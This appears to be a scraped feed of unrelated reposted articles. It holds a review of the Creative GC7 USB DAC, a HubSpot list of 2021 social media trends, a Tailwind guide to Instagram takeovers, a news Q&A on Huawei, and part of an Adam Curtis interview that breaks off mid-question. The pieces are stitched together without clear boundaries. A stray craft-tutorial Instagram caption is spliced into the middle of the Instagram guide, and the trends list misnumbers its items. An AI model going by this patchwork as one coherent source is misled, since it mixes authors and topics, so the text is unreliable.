As a legendary gaming audio hardware manufacturer, Creative SoundBlaster products always meet certain expectations: quality, precision, and craft.
The Creative SoundBlaster GC7 USB DAC/Amp fits the bill in all areas, and while Creative is pushing the DAC as a tool for gamers, it works well for music, films, and other media. With the GC7 on your desk and the Creative App on your computer, gone are the days of fiddling with applications and figuring out how to change your in-game microphone volume.
With support for PC gamers, PS4/PS5, Xbox Series X|S, Nintendo Switch, and even mobile gaming, the compact GC7 USB DAC/AMP is an excellent option for gamers, streamers, and creatives alike.
The Creative GC7 Is Compact and Looks Like a Miniature Mixer
True to form, the Creative SoundBlaster GC7 is a lightweight DAC/AMP that will fit anywhere on your desktop without taking up space. It is around 170mm wide and 114mm deep, standing just 43mm high—hardly a behemoth of gaming audio equipment.
The GC7 looks a lot like a basic mixer that you might find in the home of a beginner DJ, looking to learn how to mix without spending a fortune. The two main dials control the overall device volume on the left, and on the right, you can switch between game audio and voice volume. The second dial, known as the GameVoice Mix Control Knob, is actually quite a handy way to quickly adjust volume levels while you're in-game.
Tumblr media
Instead of having to ALT + Tab to your desktop and adjust Discord manually, you can tinker with the GameVoice Mix Control to find the sweet spot between your friends chatting and your in-game audio.
The four customizable colored quick switch buttons are a nice addition to the mixer vibe, too. Just as if you were cueing up a sound effect or the next track, you can tap the buttons to switch to the next audio mode, open a specific program, play or pause your music, and much more. Using the Creative Desktop App, you can customize the GC7 just how you want it.

In the middle of the two audio dials is a third knob surrounded by five buttons, providing easy access controls for surround sound, bass, treble, and microphone gain. Furthermore, you can use the SXFI button to toggle between the GC7s integrated audio holography modes—but more on these in a moment. The knob and its button surround house a small digital display indicating your current output levels.
The GC7 Has Lots of Input and Output Options
Owing to its connection options for PC, consoles, and smartphones, you can use the GC7 USB DAC/AMP as your central audio control hub. You can connect up to four different output audio devices to the GC7, which is impressive considering its size.
During testing, I had one set of speakers hooked up via its USB-C port, another set of speakers connected via the line out, and my headphones connected via the 3.5mm jack port at the front of the GC7. With every audio output (bar the optical out, but that is another handy option) filled, you can switch between them using PC/Console/Mobile switch, found at the back of the DAC.
Tumblr media
It's a painless process. The GC7 makes managing various audio inputs and outputs simple. However, it won't suit all gamers and streamers, especially those using very specialized recording equipment, as there is no RCA phono or XLR support.
But for a relatively cheap desktop USB DAC/AMP for gamers, the GC7 is a great shout and makes it a tool you'll use for way more than just streaming.
A Plug and Play "Audiophile-Class" Desktop DAC For Gamers and Streamers
Creative touts the GC7 as an "audiophile-class DAC." What they mean is that the GC7 has a very low noise floor of -120dB, which should reduce any interference from your hardware while streaming, listening to music, or otherwise. Furthermore, the GC7 can stream audio at rates up to 24-bit/192kHz, delivering high-resolution audio to supported devices with a maximum dynamic range of 114dB.
Integrated into the GC7 is dual digital signal processors (DSPs), with Creative's UltraDSP chip powering the GC7s audio enhancement suite.
Tumblr media
Audio features include:
Crystalizer: Real-time analysis of audio streams, especially music, to control and boost the dynamic range to deliver "a more realistic and impactful audio experience."
Acoustic Engine: The acoustic engine tunes your in-game sound in an attempt to add more depth and realism to the audio you hear.
Super X-Fi: One of Creative's most recent innovations, SFXI creates a custom audio profile using a scan taken via the companion SXFI App (available for iOS and Android).
Smart Volume: The GC7 Smart Volume works to keep your audio output at a consistent level. You'll still hear the big explosions as a big noise, but other sounds will normalize to a standard level. When you're gaming, it can help you detect audio cues that you might otherwise miss.
The GC7 also comes with support for 7.1 virtual surround sound on headphones and speakers, using Dolby Audio decoding to deliver the full surround sound experience. As you might expect, the output here is near flawless and Dolby's virtual surround sound experience is excellent when delivered through the GC7 DAC.
Tumblr media
Even with all of the features and audio processing technologies available to the GC7, it's an incredibly simple bit of kit to use. You put it on your desk, plug your audio hardware into the various inputs and outputs, and away you go. The simplicity of a desktop USB DAC of this nature shouldn't be overlooked.
GC7 SFXI Battle Mode Is Excellent for Gamers
Creative has filled the GC7 DAC with gaming features, from Sound Blaster's renowned Scout Mode to quick change buttons that change your audio mode, through to the aforementioned GameVoice Mix Control.
Tumblr media
To get the best out of the GC7, you need to spend a little time playing with its gaming options and figure out what works best for you.
The key audio options for gamers come in the form of SXFI Battle Mode and Creative's Scout Mode. Scout Mode has been around for a little while now, but in short, it is an audio mode that highlights specific audio cues and details throughout the game in an attempt to give you the edge over your opponents.
For example, in Battlefield V, you'll hear exactly where your opponent is approaching from, their footsteps delivering that tell-tale sign of an imminent attack, or you'll hear a guard talking nearby, belaying their position before you move into place. It has a limited effect in other types of games, though. In something like Factorio, where environmental audio and positional awareness are unimportant, Scout Mode doesn't deliver the same audio advantage.
SFXI Battle Mode Feels Like Cheating
But while Scout Mode boosts and clarifies ambient noise, Creative's other audio boost straight up feels like cheating, pinpointing enemy gunfire with such precision that you're always at least half a step ahead.
Tumblr media
If you're already good at first-person shooters (FPS), SXFI Battle Mode really is a significant advantage. Combined with existing prowess, knowledge of maps, weapon drops, and so on, knowing exactly where your opponent is moments before they appear is everything.
And even if you suck at online FPS games, like me, you can still take some extra solace in getting the drop on your competitors every once in a while. Honestly, it made fast-paced FPS online games a more enjoyable experience for me, a type of environment I typically avoid or attempt to find co-op modes for.
One thing to note is that you cannot use SXFI Battle Mode and Scout Mode simultaneously. Although the GC7 has a dual DSP, Battle Mode and Scout Mode use different and incompatible processing technologies.
The GC7 USB Gives You Gaming Edge, But Is It Worth the Money?
The Creative GC7 is great. It blends high-performance audio output with gaming flourishes, and better yet, it is supremely easy to use. Creative have even made uploading the SXFI head scan profile easier, another plus.
But you should note that the GC7 DAC isn't the evolution of the supremely popular Sound BlasterX G6 DAC. This conversation doesn't involve GC7 vs. G6, because simply put, they're built for different markets. The G6 is an outstanding DAC in its own right and delivers exceptional 32bit/384kHz audio, but you won't find the same attention to gaming as with the GC7.
So, the next big question is cost. How much does the GC7 DAC cost, and is it worth the money?
At $170, you can consider the Creative Sound Blaster GC7 DAC/AMP an excellent purchase.
Still, you'll be hard pushed to find quality like the GC7 elsewhere, not least because of the additional audio processing tools and options the DAC delivers. You can absolutely find cheaper USB desktop DACs. There is no doubting that. But for a sublime audio experience, the edge in your favorite games, and for the general ease of use across multiple devices, look no further than the Creative GC7 DAC.

9 Social Media Trends Marketers Should Watch in 2021 [Data + Expert Tips]
New Post has been published on http://tiptopreview.com/9-social-media-trends-marketers-should-watch-in-2021-data-expert-tips/
9 Social Media Trends Marketers Should Watch in 2021 [Data + Expert Tips]
Tumblr media
As we near the end of 2020, one thing is certain: We’ve spent a lot of time on social media this year.
But, our increased connection to social media isn’t at all shocking.
In March, as countries implemented stay-at-home orders due to the global pandemic, Statista reported a 21% uptick in monthly social media usage.
Throughout the year, consumers have not only continued to use social channels to catch up with loved ones, but they’ve also embraced them for product research, the latest news coverage, and hours of mindless entertainment. 
Now, as the world hits 3.6 billion social media users and continues to deal with the pandemic, brands aren’t just wondering how they’ll engage huge social media audiences next year. They’re also asking, “What social media trends should I expect in this constantly changing landscape?”
To learn more about what brands can expect next year, I spoke with HubSpot’s Social Media Manager Kelly Hendrickson and dug through research including HubSpot and Talkwalker’s Social Media Trends Report.
Below, I’ve compiled nine expert or research-backed trends social media marketers should watch or leverage in 2021.
Tumblr media
9 Social Media Trends to Watch in 2021
Brands will continue to take a less is more posting approach.
Content value will beat production quality.
Conversational marketing will change its tone.
Consumers will crave snackable content.
Video will continue to take center stage.
More brands will go live.
Social media platforms could double as shopping channels.
Users will embrace gaming and VR.
Authenticity will be vital.
1. Brands will continue to take a “less is more” posting approach.
This year, many brands spent less time churning out social media posts and more time producing only content that felt thoughtful, valuable, and in-touch with the world around them.
According to Hendrickson, the trend of “less is more” is likely to continue in 2021. 
“COVID-19 had brands starting to ask a question they may have never asked themselves before: ‘Does my audience even want to hear from me right now?’,” Hendrickson says.
“I expect we’ll see brands being more thoughtful about when they post. This may even mean posting less — regardless of algorithms — because it’s the right thing to do,” Hendrickson explains. “There will also be more thoughtful ad buys and partnerships.”
“Never before has ensuring your audience obtains true value from your brand meant so much,” Hendrickson adds.
2. Content value will beat production quality.
When many businesses were forced to go completely remote in 2020, social media and video marketing teams needed develop scalable production processes that could be done from home. 
When consumers still continued to engage with videos, live streams, and other social media content that was clearly made from home offices, marketers realized that content with lower production quality can still be engaging — if it provides value. 
“COVID19 forced many brands to get scrappy when it came to producing content, especially video work,” Hendrickson explains. “Without a production studio or tons of equipment available, production value became a bit more lo-fi and in the end, but also a bit more human.”
“The exciting thing for brands is that — generally — audiences loved it. If anything, they saw themselves more in the work,” Hendrickson adds. “They too were on Zoom, filming things with their phones, or stuck in their homes.”
Hendricks predicts that “we’ll see bare bones productions in 2021. But, audiences will continue to appreciate it.”
3. Conversational marketing will change its tone.
Conversational marketing isn’t new. In fact, most of the big brands we know and love allow you to connect with them via social media messaging channels at any time. 
But, in 2021, with more messaging channels than ever — and consumers needing more information to make a worthy investment —  the tone of digital conversations might change. 
For example, while past conversational marketing tactics centered around promotions and making sales as quickly as possible, 2021’s conversational marketers might be more focused on helping a user with something, educating them about a product, and nurturing them to conversion with a more thoughtful or empathic tone.
“Brands need to be more human on social media, inviting the world to your dinner table for a meaningful and engaging conversation,” says Aaron Kaufman, Director of Social Media at Square Enix in our Social Media Trends Report. “You are your fan’s greatest fans and need to embody that no matter what social media channel you live on. Emote, respond, recognize, relate, be engaging. We’re not robots.
So, how will brands deal with more demand for thoughtful conversational marketing? A mix of AI tools and human interaction could help. 
A healthy combination of AI and human interaction could enable brands to run efficiently on social media while still giving consumers the authenticity they need to see to trust a brand and make a purchase. For example, a bot could handle quick message queries, while sales, service, or community management reps could respond to more complex questions and concerns. 
To learn more about scaling up your conversational marketing strategy, check out this guide to building a chatbot or learn how HubSpot increased qualified leads with by mixing human and bots in our conversational marketing.
4. Consumers will crave snackable content.
In 2020, we saw the rise of TikTok and Instagram Reels, continued engagement on Stories content from Facebook, Instagram, and Snapchat, and brands creating other short-form or “snackable” pieces content to educate consumers about their brand. 
As social media attention spans continue to shrink and more people scroll endlessly through feeds while bored at home, don’t expect snackable content to lose steam anytime soon. 
To learn more about four types of snackable content your brand should leverage next year, check out this helpful post. 
4. Video will continue to take center stage. 
Early in 2020, HubSpot’s Not Another State of Marketing Report found that video was the most commonly used marketing content — and the second most engaging content type on social media. 
Tumblr media
Image Source
As major platforms, like Facebook, Instagram, TikTok, Twitter, and LinkedIn increasingly amp up their video capabilities, marketers can expect high video consumption to continue and grow in coming years. 
5. More brands will go live.
In 2019, one in five Facebook videos were live. In May of that year, YouTube users cumulatively spent 284 hours watching live video.
In 2020, as many brands were forced to take conferences, events, and other marketing experiences online, it’s not shocking to think that 2020 live stream numbers could be higher. 
At the moment, many brands are using Facebook, Instagram, Twitch, and Twitter to live stream events, Q&As, tutorials and other types of content. These types of content keep your followers engaged with your brand by bringing an event they otherwise might not be able to attend directly to their screens.
For example, each year, INBOUND interviews some of its noteworthy speakers and guests in live INBOUND Studio episodes on Facebook. This allows followers who can’t join us to get live tips from experts. It also allows followers of interviewed experts to learn more about INBOUND and HubSpot.
To learn more about going live online, check out this guide to live streaming, as well as these tips for marketing your next virtual event. 
6. Social media platforms could double as shopping channels.
As many brands learned how to do business completely online, platforms like Facebook, Instagram, Twitter, Snapchat, and TikTok raced to develop more online business marketing solutions.
While TikTok and Snapchat expanded business marketing offerings in 2020, Facebook and Instagram actually brought shopping capabilities directly to their apps. 
With Facebook Shops, Instagram Shoppable posts, consumers can buy a product seen in a post without even leaving the app they’re on.
For consumers, this adds convenience. For brands that couldn’t build their own ecommerce store, the online shopping tools noted above are providing new opportunities to effectively sell products online. 
8. Social media users will embrace gaming and VR.
In the last year, the number of social media users who identify as “gamers” increased by more than 10 million — or 32%. Our Social Media Trends Report reveals that the highest uptick in gamer identification happened in COVID-19’s heaviest lockdown months.
Now, with Facebook’s company, Oculus, launching new VR products, Twitch continuing to expand online game-streaming capabilities, and platforms like Snapchat launching mini-game apps, it’s clear that gamification and social media will continue to go hand in hand in 2021. 
As a small to medium-business marketer, gaming-related promotions might be inaccessible now, but with Facebook and other major platforms continuing to launch brand tools around their newest features — it’s not shocking to think that more social media in-game advertising opportunities could be possible in the future. 
Brands should keep an eye out for game-related promotions in 2021.
Even if advertorial game content becomes available to big brands but not smaller companies, marketers can still watch what bigger companies are doing and hit the ground running with fresh ideas if gamified promotion become more scalable.
9. Authenticity will be vital.
This year, consumers and brands faced a global pandemic, uncertain financial times, and a number of major events that paused nations in front of news channels.
Now, consumers need more than just great deals to trust, identify with, and invest in a brand. At this point, many brands have taken notice by embracing authenticity and their human side on social media.
While some brands have spoken directly about their thoughts related to COVID-19 or other news items, others have shown authenticity by zoning on their customers through user-generated content or customer testimonials. 
When done authentically, both strategies can help brands gain trust from their audiences while boosting awareness as a company that cares about people.
“We will continue to see the growth in creators in the social media space. Influencers will continue to be present, but accountability, authenticity, and transparency will be the areas brands and companies will use to determine who to partner with, and who to pass on,” says Karen Freberg in our Social Media Trends Report. “Empathy and advocacy will be elements that will be integrated within messages and purposes for creator campaigns. The days of ‘faking it till you make it’ without any experience other than having lots of followers are over.”
In 2021, expect authenticity to take center stage on social media as successful brands continue to build trust from their audiences.
Navigating Social Media in 2021
Today, the world around us is constantly changing. And, although we think we know what to expect with social media, this list of trends is likely not exhaustive of what we’ll see in 2021.
As a social media marketer, the best thing you can do is to continue to research trends, online consumer behaviors, and your team’s social media data to determine which trends or strategies to lean into or how to navigate unprecedented online scenarios. 
One great place to start doing this research could be our HubSpot and Talkwalker’s recent Social Media Trends Report.

How to Do an Instagram Takeover Successfully in 6 Steps
Tumblr media Tumblr media
Instagram takeovers are a powerful way to accomplish several Instagram marketing objectives, such as increasing brand awareness, gaining access to new audiences, and boosting engagement on your platform!
The best part is you don’t even have to do the heavy lifting of creating the content.
That’s because with an Instagram takeover, you’ll bring on a guest host to create specific content for your Instagram account and (sometimes) manage engagement for the day.
Hitting marketing goals while kicking back and letting someone else manage your content for the day? Sounds like a vacation to us! 🏖
However, there’s a lot of behind-the-scenes work that goes into organizing and running a successful Instagram takeover.
Let’s dive into the process, and we’ll give you some tips on how to host an Instagram takeover successfully!
We’ve also included some amazing insight from Jeff Sieh of Manly Pinterest Tips.
He’s also the Instagram Manager for Social Media Examiner, and the three-day annual conference Social Media Marketing World.
Jeff runs multiple Instagram takeovers throughout the year to promote and feature marketing influencers speaking at the conference.

Final Thoughts: Ready to Launch Your Instagram Takeover?
Why Are Instagram Takeovers So Effective?
A successful Instagram takeover benefits everyone involved. Your guest gets access to a new audience, and you get access to your guest’s followers!
Why is this an effective strategy for Social Media Examiner? According to Jeff, the access to a new audience is a huge driver.
“We are able to share the speaker’s audiences. Most all of the speakers share the news on their personal account.
That puts our message and branding in front of people who may not have heard about the conference.”
Jeff Sieh
Plus, your followers get value from your guests’ unique perspective and the content they create for the takeover. This amps up their engagement with your brand!
How Your Guest Host Can Contribute To Your Instagram Account
You might be wondering about the kind of content your guest host can create for your Instagram takeover.
Your guest host can take over your IG account with posts, interviews, tutorials, Q&A sessions on Instagram Live, and behind-the-scenes-access on Instagram Stories.
How To Do an Instagram Takeover From Start to Finish in 6 Steps
The success of your Instagram takeover really comes down to the amount of planning you do beforehand.
This doesn’t just mean scheduling the takeover, coordinating with your guest, and picking the right hashtags.
It also means deciding on your goals, plotting metrics, and creating a content plan.
Here’s how you do it, step by step!
Step One: Decide on the Goals of Your Instagram Takeover
Although Instagram takeovers can be fun and interactive for your audience, ideally there are some goals behind your choice.
Decide on at least one specific goal for the takeover. This could be:
boosting brand awareness,
promoting an event, product, or service,
or simply getting your existing audience to engage more with your content.
The goals you choose for the takeover will help inform your choice for a guest.
That’s the next step – choosing the right person to help enhance your Instagram marketing strategy and meet your social media goals!
Step Two: Choose Your Instagram Takeover Guest
When you think of your dream guest host for your Instagram Story takeover, do you visualize an industry influencer or celebrity?
Although fame and a high follower count may seem like the first thing you should look for, this isn’t necessarily the case.
Instead, you should carefully choose a collaborator who is in line with your brand image and values and can add value for your audience.
Here are some options to consider:
Tumblr media
Step Three: Plan Your Content Approach with Your Guest
In this step, you answer the key questions about content with your guest before the actual day of your Instagram takeover: what, how much, and how often!
Knock this out beforehand so that plenty of prep goes into the content before the big day.
Waiting until the last minute could mean that you or your guest misses posting at peak times when your audience is most engaged.
It also makes room for error!
First decide what kind of content it makes sense for your guest to create. It should be on-brand for both of you!
You wouldn’t choose an insurance expert to run an Instagram Story takeover if you run a wedding photography business, right?
Your chosen guest host should know a lot about your niche and be able to speak to your audience on topics that interest them.
Next, you’ll create a schedule for you and your guest to follow.
This will keep the process streamlined, flowing and allow your guest to maximize their time engaging in comments and video.
Pssst.. Not sure when your audience engagement and attention is at its peak? Tailwind can help!
Our Smart Schedule analyzes the times your followers are on Instagram and most likely to be engaged with your content. Then we make a custom schedule just for you. 🎉

Insider Tip: Figure Out Your Access Plan
You’ll definitely want to decide ahead of time how much access you want to give your guest host.
Why? When you share your password over the world wide web there’s always a chance your profile could be compromised.
If you want your guest host to have full access to your profile (this means giving your password to them before the event) then consider doing the following:
Create a temporary password for your guest to use a few days before the event
Change the password immediately after the takeover is complete
If you prefer, you can have your guest host send the content, posts, and videos ahead of time for you to post on their behalf.
That’s what Jeff Sieh does!
“The speakers send us their Stories that they have filmed and downloaded.  The tell us the specific order as well as any stickers, hashtags, or links that they would like to include in their Stories.”
Jeff Sieh
You can collect content pieces and videos any way you like from your guest hosts.
Some of the most popular options for Social Media Marketing World are Dropbox, Google Drive, and even Facebook Messenger!

Hi crafty friends! Dani from @popfizzpaper here today with a gorgeous frame card tutorial. It’s perfect for your mom this Mother’s Day! You might’ve guessed that this card also works as a DIY photo frame that can be left out all year long. Swipe to see a close-up detail of what you’ll be creating today. You’ll need a butterfly punch (a die or cut file will work too), @tombowusa MONO Multi XL Liquid Glue, Tombow Foam Tape, and a Tombow Fudenosuke Brush Pen. You’ll also need scrapbook paper in a variety of coordinating patterns (even scraps will work well) and a card base (mine folded is 4.5”x 5.5”)! To get started on the card, create all of your butterflies! Use a butterfly punch (a die or cut file will work too) to create a bunch of butterflies with the different papers. Get a good little stash going and I’ll be back soon with the next step! #tombow #tombowusa #tombow2019dt #pfplovestombow . . . #craft #create #adhesives #crafty #artsandcrafts #crafting #crafts #handcraft #crafters #creativity #diy #imadethis #makersgonnamake #papercrafts #papercraft #papercrafting #crafter #handcrafted #mompreneur #craftime #papercraftingaddict

Keep in mind that this is pretty labor-intensive for you, and your influencer may feel more limited by this option.
Plus, your host won’t be able to go live or respond to comments from your profile when you use this method – though they can certainly comment from their own accounts.
That may even be a better option as people see that this is a genuine partnership!
Step Four: Schedule Your Instagram Takeover and Promote Like Crazy
Now it’s time to schedule and promote your takeover!
You want lots of your followers to tune in and interact with your successful Instagram takeover, right?
Promotion leading up to the event also clues your followers in to keep an eye out for special posts throughout the day.
At least one week prior to the event, promote the takeover on your Instagram account and other social media.
Encourage your guest to do the same!
Tumblr media
Maybe it’s the alliteration, or maybe it’s all of the Instagram takeover hashtags that already exist! #TakeoverTuesday
Step Five: Time For The Big Instagram Takeover
It’s the big day! Prepping for the day of the takeover may be a little or a lot of work depending on the plans you’ve made.
If you’ve decided on a limited access Instagram takeover, you’ll need to gather the content pieces and post them at the planned time.
Schedule those images and videos, but don’t forget important puzzle pieces like captions and hashtags!
Ahem… stressed about organizing your guest hosts’ content, posting at the right time and picking the right hashtags?
Tailwind can help! Upload a draft of your post, then use Hashtag Finder to find the best hashtags for your content. You can even click a button to hide your hashtags in the first comment – it’s super easy!

Even if you’ve given your guest host complete access to your IG account, you’ll want to stick around on your personal account for a few reasons.
One, you can make sure that things go off without a hitch and your guest is able to get content up on-time with no issues!
Secondly, you’ll want to kick off interactions on posts, videos and Live to break the ice and get the conversation going.
Step Six: Check Out Your Metrics
After your Instagram takeover, it could be tempting to rest on your laurels and call it a job well done.
However, you should take a moment to check your metrics after the takeover. This will help you figure out if you need to adjust your approach next time.
The goals you chose in step one inform the metrics that determine the takeovers ultimate success.
For example, if your goal for the Instagram takeover was to reach a wider audience, then you should consider new followers gained from the start of the takeover to the end (or a few days after for followers to play catch up).
Tailwind’s Profile Performance Dashboard is a great resource for tracking this!
You can measure your daily follower growth in an easy-to-read graph and see exactly how many followers you gained… as well as any you lost. 🙁
If you geared your IG takeover more towards driving interaction and engagement, then likes and comments are a great indicator of how well the event accomplished this goal.
Rather than hand counting comments and heading to the post on your app to see likes (snore! 😴) use Tailwind’s Post Inspector to sort recent posts by date, likes and comments!
You can even filter by type to get a better idea of how one piece of content performs versus another.

“We frequently look at the impressions of each content piece, as well as exit rates, next story rates and how often someone goes back to watch the story again to see how well a particular Story performs.”

New Post has been published on https://toldnews.com/technology/qampa-what-is-huawei-and-why-does-washington-worry-about-it/
Q&A: What is Huawei and why does Washington worry about it?
Huawei is China‘s first global tech brand and a growing source of tension between Washington and Beijing.
Huawei Technologies Ltd. is the biggest supplier of network switching gear used by phone and internet companies. It has spent a decade battling U.S. accusations it is a front for Chinese spying or poses other security risks.
Other governments including Australia and Japan are imposing their own curbs on use of Huawei technology.
A look at Huawei and controversies surrounding the company:
Q: What is Huawei?
A: The company founded in 1987 by a former military engineer is a national champion at the head of an industry Beijing is promoting as part of efforts to transform China from a low-wage factory into a technology creator.
That makes Huawei a political star in China but puts it at the center of tensions over the Communist Party’s technology ambitions. Washington and other trading partners say those violate its market-opening obligations and might be based on stolen know-how.
Huawei passed Sweden’s LM Ericsson in 2017 to become the No. 1 global seller of network gear. The company says it supplies 45 of the top 50 global phone companies and has signed contracts with 30 carriers to test its next-generation technology.
Its smartphone brand, launched in 2010, passed Apple Inc. in mid-2018 as the world’s No. 2 seller behind Samsung Electronics Ltd. And it has kept growing despite weakness in the global smartphone market. Apple’s Jan. 3 announcement of weaker-than-forecast iPhone sales jolted financial markets, but Huawei said its 2018 sales rose 30 percent to more than 200 million handsets.
The company says 2018 global revenue should exceed $100 billion. This year’s target is $125 billion.
Headquartered on a leafy campus in Shenzhen, adjacent to Hong Kong, Huawei has China’s biggest corporate research-and-development budget at 89.7 billion yuan ($13 billion) in 2017 — 10 percent more than Apple Inc.’s. Its foreign customers can draw on a multibillion-dollar line of credit from the official China Development Bank.
Huawei is more important to Chinese leaders than ZTE Corp., a smaller rival that was nearly driven out of business after Washington blocked it from buying U.S. technology over exports to Iran and North Korea. President Donald Trump restored access after ZTE paid a $1 billion fine, replaced its executives and hired U.S.-picked compliance officers.
———
Q: What are the controversies surrounding Huawei?
A: U.S. warnings about Huawei drew attention when a 2012 congressional report said American phone carriers should avoid doing business with the company and with ZTE. Washington gave no evidence but Huawei’s U.S. business vanished.
The same year, the Australian government barred Huawei and ZTE from bidding on a planned national broadband internet network. On Tuesday, a telecom company that was planning to build Australia’s fourth mobile phone network said it would scrap those plans due to a government ban on using technology from Huawei, its main contractor.
Japan’s cybersecurity agency said last month Huawei and suppliers deemed risky are off-limits for government purchases, effective April 1.
U.S. charges unsealed Monday accuse Huawei of violating American sanctions by using a Hong Kong shell company to sell equipment in Iran. The company is also accused of stealing trade secrets, including technology for a robot used by T-Mobile to test smartphones.
The company announced plans in 2017 to start selling smartphones for the first time through a U.S. carrier. Those plans were later canceled, reportedly because of U.S. government pressure on the American partner.
Huawei’s chief financial officer, Meng Wanzhou, who is Ren’s daughter, was arrested Dec. 1 in Canada on U.S. charges that she lied to banks about Huawei’s dealings with Iran.
A European Union official, Andrus Ansip, expressed concern last year about Chinese rules requiring tech companies to cooperate with intelligence services. Ansip suggested that might lead to “mandatory backdoors” to allow eavesdropping on computer or telecom systems.
China’s foreign ministry has complained the security accusations are unfounded and are being promoted by other governments to shield their own companies from Chinese competition.
———
Q: How is the company responding?
A: The company denies accusations it is controlled by China’s ruling Communist Party, modifies its products to facilitate spying or helps Chinese spies gather information.
Huawei, which is privately held and says it is employee-owned, has stepped up efforts to defuse security concerns since Meng’s arrest.
Ren rarely appears in public. But he spoke to foreign reporters in a 2½-hour-long interview on Jan. 15 at Huawei headquarters. He sought to lay to rest accusations Huawei might help Beijing spy on its customers by saying he would reject any government request to disclose their secrets.
One of three executives who take turns as Huawei’s rotating chairman, Ken Hu, gave a similar interview in December in which he challenged the United States and other governments to disclose evidence to back up accusations about security risks. Huawei also has allowed foreign reporters and photographers to visit some of its research centers for the first time.
Huawei has tried to reassure customers by setting up laboratories in Britain, Canada and Germany for governments there to conduct security tests on its software and hardware.
———
Q: What is Huawei’s role in next-generation telecom technology?
A: Huawei is one of the biggest global developers of fifth-generation telecoms technology, along with Finland’s Nokia Corp. and Sweden’s LM Ericsson.
The 5G technology is meant to vastly expand the reach of networks to support internet-linked medical devices, factory equipment, self-driving cars and other devices. That makes it more politically sensitive and raises the potential cost of security failures and requires more trust in suppliers.
Annual sales of 5G network gear are forecast to reach $11 billion by 2022, according to IHS Markit.
Huawei has agreements to test 5G equipment with Deutsche Telekom, Bell Canada, France’s Bouygues, Telecom Italia, India’s Bharti Airtel and carriers in Singapore, South Korea and Ireland.
The United States, Australia and Taiwan have barred Huawei from working on 5G networks. Industry analysts and some telecom executives warn that will drastically reduce competition and raise prices for consumers.
Washington is pressing allies to shun Huawei, but Germany, France and Ireland say they have no plans to ban any 5G network suppliers.

The 2016 election has made soothsayers of any number of historians, academics and philosophers, but one of the few filmmakers who saw Donald Trump coming was the documentarian Adam Curtis. One might even argue that Trump's victory was the closing argument of a thesis he has been refining and developing for the last 15 years.
Since his 2002 opus, The Century of Self, Curtis has traced the myriad ways in which the left has abandoned politics in favor of a radical individualism, online and off, that has allowed reactionary forces to metastasize in the West and across the globe. As he ominously declares at the beginning of his latest film, Hypernormalisation (2016), these forces are now puncturing "the fragile surface of our carefully constructed fake world."
Drawing from the BBC's vast video archive, Curtis' films are ambitious, addictive and haunting. In The Power of Nightmares (2004), he charts the eery parallels between the neoconservative and radical Islamist movements of the late 20th and early 21st centuries, and the ways in which our political leaders have preyed upon our fears to maintain their grip on power. The documentary also examines the ways in which we're still living in the shadows of the Cold War, decades after perestroika. The Trap (2007) offers a searing look at how Britain's and the United States' attempts to free themselves from bureaucracy have given rise to a bloodless and oppressive managerialism, while their efforts to spread democracy abroad have yielded only violent mayhem. All Watched Over By Machines of Loving Grace, released in 2011, explores how our reliance on computers to forge a stable world has produced just the opposite.
Curtis spoke with AlterNet last week about a range of subjects, and then a strange thing happened, as he might pronounce in one of his documentaries. The Syrian government launched a chemical weapons assault killing scores of civilians, and the U.S. responded with a missile strike of its own. Or so the dominant political-media narrative would dictate. What follows is a composite of our conversation before and after, over the phone and via email—a fragmented Q&A for a complex and possibly unknowable moment in history.
Jacob Sugarman: So in less than a week since we first spoke, Donald Trump has done a complete about-face on Syria and Bashar al-Assad. Obviously we're just hours removed from the airstrike, but what are your first impressions? Does this signal to you that the Pentagon is dictating his foreign policy? Is this bombing campaign an elaborate piece of political theater or is it more likely the opening gambit in a prolonged assault?
Adam Curtis: No one knows what the attack means, or how it will play out. It is far too early. My first reaction is that what may be happening is that President Trump is stepping for the first time into the real world. But he will discover that the consequences may be very different and far more complex than he imagines.
Firstly, the question that has not really been addressed is, why did the Syrians use chemical weapons? If, as we are constantly being told, the regime is winning the civil war, why did they do something like that? Some analysts and journalists are saying that possibly Assad is not winning; that the Syrian army is exhausted and starting to fall apart; and that the Russians are finding the conflict far more difficult to deal with than they imagined, especially with just dropping bombs. Most of the really hard fighting for Aleppo was not done by the Syrian army but by Hezbollah, which is becoming a really serious army. And behind them are the Revolutionary Guards of Iran.
Secondly, such an intervention leads to the question, who are the goodies and who are the baddies in this war? If President Trump has turned against Assad and will genuinely work for his removal, then who should replace him? This is the reality that President Obama faced and recoiled from because there is no simple answer. Just as the Americans discovered in Afghanistan, which had also been fighting a civil war since 1978, everyone is compromised in some way, because they have all been sucked into a grinding struggle for power. The truth is that no-one in America who is pushing for something to be done about Syria—the liberal humanitarians, the neoconservatives, the globalists in the military—has any real answer about who to support.
The other possibility is that it may be just another part of the pantomime, a missile hit designed to distract from scandals at home. But that takes you back to President Clinton’s missile attack against Osama bin Laden’s training camps in 1998—an attack that many believed was not only a retaliation for the bombings of U.S. embassies in Kenya and Tanzania but an attempt at distracting attention from the Monica Lewinsky scandal. And looking back that doesn’t seem to have been a very good idea. It had a very counter-productive effect on the Taliban. Up to that point they were really fed up with bin Laden and were looking for ways to be rid of him, even possibly giving him up to the Americans. After the attacks the Taliban stopped all that.
The truth is that we in the West have so simplified our vision of the world, into a battle between good and evil, that we now find it impossible to understand the reality. It was a process that started in the 1990s under Clinton and Blair, but both Trump and his enemies, the liberal interventionists, have inherited that one-dimensional view. It is dangerous because it ignores the realities of power in societies. And Trump may find he is opening the door to something very complicated, not just Syria but the forces that surround it—Turkey, Iran, Saudi Arabia and Israel, all of whom are deeply involved in the conflict.
And it will also have a terrible effect for Trump domestically. All the hard-line isolationists who backed him will be furious. It’s just what Hillary Clinton would have done, they will cry. Trump has become a deep state puppet.
JS: We're more than 70 days into Trump's presidency, just a few weeks short of the juncture when historians and political analysts begin to assess an office in earnest. Do you see America sliding into authoritarianism or fascism, or are the evils of this administration more banal than that?
AC: America is not sliding into fascism. That's just hysteria by the liberals who can't face up to the fact that they lost the election, so they either have to blame the Russians or giant historical forces. Basically, a right-wing president has been elected, and he's created a brilliant machine that captures liberals and keeps them completely preoccupied. What he does is he wakes up in the morning, tweets something that he knows isn't true, they get very upset and spend the whole day writing in big capital letters on social media, "This is outrageous. This is bad. This is fascism." What they're not facing up to is the real question, which is why did Donald Trump win the election? What other forces in the country had they, the liberals, not seen?
They weren't defeated by something as grand as fascism. They were defeated by a man who's connected with a disaffected group in America, like the people who voted for Brexit in my country. I think there's a great deal of narcissism which Mr. Trump has worked at how to play on beautifully.
JS: Your most recent documentary is called Hypernormalisation. Can you explain what a hypenormalised state is and how it creates an opening for somebody like Trump to exploit?
